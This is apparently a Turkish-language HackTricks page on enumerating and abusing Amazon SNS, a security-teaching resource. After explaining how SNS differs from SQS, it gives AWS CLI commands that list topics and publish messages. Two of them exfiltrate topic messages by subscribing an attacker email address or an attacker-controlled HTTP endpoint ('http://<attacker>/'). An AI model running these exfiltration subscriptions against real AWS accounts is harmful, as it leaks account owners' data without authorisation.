AWS - SNS Enum

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

SNS

Amazon Basit Bildirim Servisi (Amazon SNS), tamamen yönetilen bir mesajlaşma servisi olarak tanımlanır. Hem uygulama-uygulama (A2A) hem de uygulama-kisi (A2P) iletişim türlerini destekler.

A2A iletişimi için ana özellikler yayınla/abone ol (pub/sub) mekanizmaları içerir. Bu mekanizmalar, yüksek verimli, itme tabanlı, çoktan çoğa mesajlaşmayı sağlamak için kritik olan konuları tanıtır. Bu özellik, dağıtık sistemler, mikro hizmetler ve olay odaklı sunucusuz mimariler içeren senaryolar için son derece avantajlıdır. Bu konuları kullanarak, yayıncı sistemler mesajları geniş bir abone sistemi yelpazesine verimli bir şekilde dağıtabilir, böylece bir fanout mesajlaşma modeli oluşturur.

SQS ile Fark

SQS, kuyruk tabanlı bir hizmettir ve nokta-nokta iletişimi sağlar, mesajların tek bir tüketici tarafından işlenmesini garanti eder. En az bir kez teslimat sunar, standart ve FIFO kuyruklarını destekler ve mesajların yeniden denemeler ve gecikmeli işleme için saklanmasına izin verir. Öte yandan, SNS bir yayınla/abone ol tabanlı hizmettir, mesajları birden fazla aboneye aynı anda yayınlayarak birden bire iletişimi sağlar. E-posta, SMS, Lambda fonksiyonları ve HTTP/HTTPS gibi çeşitli abonelik uç noktalarını destekler ve hedefli mesaj teslimatı için filtreleme mekanizmaları sunar. Her iki hizmet de dağıtık sistemlerde bileşenler arasında ayrıştırma sağlasa da, SQS kuyruklu iletişime odaklanırken, SNS olay odaklı, fan-out iletişim modellerine vurgu yapar.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint [e-mail]

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Not edin ki eğer konu FIFO türündeyse, yalnızca SQS protokolünü kullanan aboneler kullanılabilir (HTTP veya HTTPS kullanılamaz).

Ayrıca, --topic-arn bölgeyi içeriyor olsa bile, --region parametresinde doğru bölgeyi belirttiğinizden emin olun, aksi takdirde erişiminiz olmadığına dair bir hata alırsınız, ancak sorun bölgedir.

Kimlik Doğrulaması Olmayan Erişim

AWS - SNS Unauthenticated Enum

Yetki Yükseltme

AWS - SNS Privesc

İstismar Sonrası

AWS - SNS Post Exploitation

Süreklilik

AWS - SNS Persistence

Referanslar

• https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.